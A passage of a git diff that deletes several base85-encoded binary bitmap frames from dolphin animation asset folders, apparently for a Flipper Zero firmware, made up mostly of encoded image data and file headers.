z5MX%#2x1@s2bDts1^HjW=ji{x1RkOF03G-r)({Yz#6QwFEXW@hfDq_6kWYm?3^Cvk z;1_}qJp>E*UmO7BtPzL>unH*g!9eZ>QUr`arXcd5e~#n9fKC`9kPsM1NMJPVh<{CltJehf$JbY$N=16IN%t74h#=206gK4 zP;uZeBk_RP0qF`j6awLZfZM0Q^_mAt0}d6ByMZx4lnNQh7Z>^i;DP(#a{ziw4#EH+ zSjXV;gF!(doCsh%|Cl&@Fdnc7m^|VC2wmb>R~3lGpc24wa5#VXEW?a65x9fKpsqLu zI36%)cwm9zB`5~-0mCl|VF#iQJbnX%1K5AS1`kgLKY{Ro><^*OJ9v}oX06F|W|M~y;20#3`JpT|Kgajs8?>u;K^nyrYW-I1e0-Lm*#YJs^FyKMwk_VLr9dHMa;1D45={mEOrk1|zUOhybKu^WbCb3c(17 zJ$M6h-_9ox4!}JmA@QC8N0}avKraCHJ&1sF7{Feln0y|4Y0(-C|H1b zf5GVigblZNCreNFnGtz;#ePmJcH%p#C)WX z@VLR?5QvR~01sUxE&&9G1Ir*$5qN{k$Y&TQ9>x3~evkkDfAWB6JP|>8fE)Y|7=%=KG%$PcLE|5b#6J}9{zM^_zb^tK2MT9Le2aW^z$AG~B z;`StforZh`8I0jlDDeliXbLdlK-vT25P(3S5J8ycfTRx?z&;~TP&onw9xTBNh$LV! z=+Hdia{znBB#A=cKmqeuI0yhC~6P5ffOzqZ9xjyjs2bT_F4@nFI7?mIP z{sA9@mq;F$2y_GS!!3+4h#>XC3JV8-g~kEz0H-gD;RU!A$R3bNfD~Zg$SlGP4?xk! B`X>MY diff --git a/assets/resources/dolphin/L3_Lab_research_128x54/frame_7.bm b/assets/resources/dolphin/L3_Lab_research_128x54/frame_7.bm deleted file mode 100644 index c9b99a0144864d530c76fb9864ad23ebd5351253..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 585 zcmV-P0=E4D07U`-9v}oX06F|W|M~y;20#3`JpT|Kgajs8FFofaln0y|4Y0(-C|H1a z{(s=~fWiji4`F%WAQ1rjUtk&Vc?bqT4?=ju_#g0jNIn4(1Ld6mKx2@~WCFPFaCvzmcsK=M9x!DfgU_V^$!P^*4==+|N9GS4 zRiIWN@&FLTKmrdQEkqtai}*bKAOHOP9x_^xB!3m~d4LZ60G`)_;~cyL-ohU|3=Y5_ zk@;L;3LyY7aB)(M2lyUw;1J*-;PS~yI1m^g@D?MHfLJ3C0zjw7`TvG+;0zLB3ruSe z49ETl0O^aw6e02zP;f$bQAfyx~KJP1AGK#@m@Ktb;ek_yInF&Hp3f+80f6f#gv6nNk` za4>tHjsf5Vk;GOd1P86-;R6S_yg&s$0SJU-3eg#eeJ~V$1As{4gc8`pf#>kUqzC{o z@R>t}=l;Xs3}OIK`S3sC@%(?l3kxC?1Nn>&umE9r0>FR-A65qe?*Z`%&_h6_*ayr4 XBn2$MK4cQWDL;e&?LnvkNg7}UlQy?A6d%eNqrfDR ze?Q`~28cwUIp7$Nh@?RFj6p!-;A;pzV^9dk@(2G%h&`c_NC$vAKY@UQL?R?nfkPz( z;t3BP1`l)b6UKhh5m>|)B?JeeM4({z7mxs~0{Feln0y|4Y0(-C|H1b zf5GVigbl{$PW`(gUcXM5qN{j$Y?L&5Mnlr2>m`&KzT+3=VWyFD^hl;o$Q4Kxh#Hc>DwBo`b-F<2Zqz;2w~8Fg*W?^nruNfdGyx%sy0bd3hl7 z2n4a7egOE<^PlJpav4m3R~_sRKO|2F0IUPX45SiyXFgC2mXKB;^87UgK9CGmpjIIA z01(7L0uLT7L>@nj_&og||NQ(OGFp%%e--d~fDZitp4Wrp9J~YG!XG>g4!|Fg`CMQM zApkLOaZ-#2_#ScK5a1x-^2td!5Eviu79){>SR)VuK&Qv~|Auhe!j%>fw8pUj%zxl; z4w$?_LZBEzSWSaq1dIY`4~@_ufCCH%j6wkdfI$Xg4-i0r1pYwwtw2HK9T0f41_%)- z4tNG20hj9HGzyz=Pg22^4sg1Rn6oAgpJD5rYFrA|Y{sLnQ>!M~(xB0|&YI z;2r=;97SSKKziOj5HNd-!~j#^5Qs)Vtr3`q(*Z}|I0TL;K`o3p9)AovK!5`e36wZq zf9yU0#vla`p9B6MAIJOvu(BaQKbXMl00tL;EC>KW^G%ha{2rq9{%*j64>fT9Pu zxfAFQN%%P%WDnL@gUCoA{{RjA9;g8a_&t-$KPR9*JQ4Hy1K^%;(0&iZAK>;c_&t&S zuk-u^{2tHr2iNc(@$h>8f&KUY1LFV>KDd0^f)6jp3?6WAusy&-KnI`ja6tC|`@usF z^aIN<4`rD{KLGN^1LisKACNwy9RPW80rNQg1IvsLSPk(MUkEr5ctG}Nr5p%8Abj{Q z{s92|LFy?e2LRkZ$Q!)@>`oydgVYpw4g3rUK=pYTD1gQM2c-NSqf-VDOt3H@Q2)i` z1ti#n$QFO_nLJHaAo3`b_&$Nb2Z_{)Mfin-&H?@-2*8>J0H6cVI3Y7Fm;r%B=wT>M Kf&79N5r7yR#J4B_ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_1.bm b/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_1.bm deleted file mode 100644 index 49d9e5135894c85d2339e3d8fa92c5fc4f6ade0b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 385 zcmV-{0e=1g0DS=fE#L@$kN5y!a0mz~0H^#1o&X-O@F4?;9y|bg$G~HN2d97@x9}MF z0qO7{i75cWPB3~%0p|yRd;#hF2aNC@qV@k6Mt%>!`P4z}zz6ZYAou_9Kf&&wNH`3E z`#A@|q($au6Dg`#r{w50Pq3+4|D&6{eJ-c1qeS;@DFeE|A7Jz@OwkS z>-z_p5JBbsvxCpR4~2;Q5@iMl%8el3;CXQY_526yFdlqhe8&Oj!UxY_o_;iWfQA7) zMH~bOJ`j3>N!~a3Fc5wq`k((GI1hk5MP;5tz!Wehk$@z^EF%Cgxss>7 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_10.bm b/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_10.bm deleted file mode 100644 index 9f8e4fb7ed8f1b5803b8ef5eecac7cb1f6652f98..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 365 zcmV-z0h0a!0BHdLU;F?5hl8sD{{RR*J^=OjfA8S);7@!J@Opm(>-hipFXQG1r~AeR z5%d4x;9`IQh5`>S06j;9I1;gq#2%lB86e5b4;Y8=GJ$a#kUZlP@X84U9@+ER1Mj{m zAbOvS9w3tk;blUq4<%89?j{d}dV~BBK=ywKJk7)pxOjb>1P@n9gVo-Sg9rFO%_apP zdN)WP;Qt4|03LJje}mP^VDtnSKE((A3n)GyNbv{Y|H1ZuV0qyUod(=ap3d&gU{d(P5XfT;Q1V%`<@S%0spyRQwRLu92!IgA1qbJvi~!*B Lr-#%4zkqmvm1MAU diff --git a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_11.bm b/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_11.bm deleted file mode 100644 index 38c7944ac4efc73677137956ec3861611ab226ea..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 391 zcmV;20eJoa0D}PlUjzU1pMi?O0tdI_|N94@0uB#v_y772Kg2v-;PH=vhXMZz7y!Ni z@&AL%;UD;LU}NP6r}_uL<73rG*NQG$e@AM{Cs>P`=Z@q@-D59Ue((LRv& zN(00!O7#c$y@Bxo2gd>4p#KN>Jx0V2M`?rG01xnggUsF=a&2M5c20saqCvIEivAK-e2>Ci#^KqPz~egJwX6F!eH zdax3I{s+kbl3_## zoZ%Q?^d}fRcjyxbh`fX988Ch(%#;IybU0p58yr) z2oFJ^gV0`|z$pXRpnebNK3FI42b{zF4@vv|1f&mR0sKE8@`wZ1<{wBr5&;+=ubebr zfhf-)5P*8&-b4=+F)z>_F!}H(f1UI(C)zLg2b3E8ABg_}<}>>7l-uZ!DE`f`{&|KR@z z_&>nq@c+TX{15p6JpslKS^$5rAHXT6>--OR_&>q@4@a;+!Tt|;JP02c0D4cs>G%i2 z0YUTsRG7Uu0QG@`{2qc*2eHKg=impafj@#$uzvyQU_g1yALb7qxq$!Bc>q25u9^Z}lJtq(d2t9xO@OnTn0_OjK1P*`C_4ks@@(0iWXF&RUihMu>4^QwsyIcN0s(wn3jGPF}2tEo2AAg8GNCh7ThQ1g8 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_15.bm b/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_15.bm deleted file mode 100644 index bff1cf3e63b00acf617e13219e0f3520795af81e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 451 zcmV;!0X+Tz0KWkMCjveQYybQTaSs4Jz7z0zd@e9RdjB`z^nichU}V65`{4BdL*U@_ z@PEJpB`_e)1N?1vzE&(}+QOPDClZN+%>IDF5g0xr_y|16A8CPs&w=dzJNzGk2aW>BCSdea3?4iWz*>OK-iF~P zp^U-i-5dlkHdp|CK?mdyxI91~fU%B)+u#pN1_Eji&juc157;;?h4yJ}2-E1Rb70`X`L&A4ziukr4swWCV~s ze}MC!@gd@}-~;3S-xzBAf%9R&LP7Np|IpwDF#rfW|G@MFh(Avz53~t@1`Gow@q@*J zVDFdG0pXZ`{L tM-T3u6#0M*{%r9EkAUKh_qm5y044JWjf@{20D54-@qh=Ue0szMpMW$J%IyFE diff --git a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_16.bm b/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_16.bm deleted file mode 100644 index d234a954f4ee7c9ed0bee2d02acc3f5e2af4a91e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 440 zcmV;p0Z0A;0JH%BCjwvyYybEPcMb&L9KH+x{0yIa_&tA{@OnTX_+Wbf!RdesDHy-~ z@KOH-tpNOgzycmPcw}H8^Zx_W;2t;_-2vwU{{qegK0pC*Fk{q$Pz3}IEC0jC9|xga z!RPq>i;e*pKA1epCIBcw07u9V8TsjCVE2au)8YPro09)Og9FmwKY99P0rG7?daI8A zcT)*O!SDx(Wd&B|w5E$q`ED#8&J-h()Ka9j5%<~7xykWrnpg_p0;*6K*0T=NA26#ps0zGH{fO*6c13(A2fPjMnFRlGPfCC4u&H?Z^ iqJ8{efq?_me!OvO00+PiDf#?GtbibTPvGJRAQb$zq{j#V diff --git a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_17.bm b/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_17.bm deleted file mode 100644 index 30fdc120ad021a74ff8a082646b39691bbd26d22..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 444 zcmV;t0Ym-)0Js4FB*K0OZ}<2Lehu(FxEKHU89)2jKs`Sb@OlY`4lZr@Jj25SfIvaV zfd7C53}3+_fCu0YK&Z#T>=+Pv{4e05fdkAOK=FfrhoS%&B>;|K0^ni8#t#%RgNpy~ z@sCn4eK2|dKWDWd7x*4vAw4EQh$qtrmGtz#a&m*l7!OMUKtt<)ESNlx&3~VwP#%Qz z@2Zp^2+_b#!R)>;c;Fxj0|&%^0SB1_**<~6fzN^W1Mor6CvXS5RABModwc=t01DrL|Ch!d z3m|*P|Nb02G!{iO2d$3*2?w{}9*}ZcEX*FT@P86a05E`j2TUHnz_o@dHBKUe}5TlpfC>z{eJ+F01WYnI0btD_yhxp90!1ZQuv@%9_s=4 m98mtR@mLYX9qT{f0K}eP0|gK~Z~_AWC@7hvMHu{mp*QfG#m3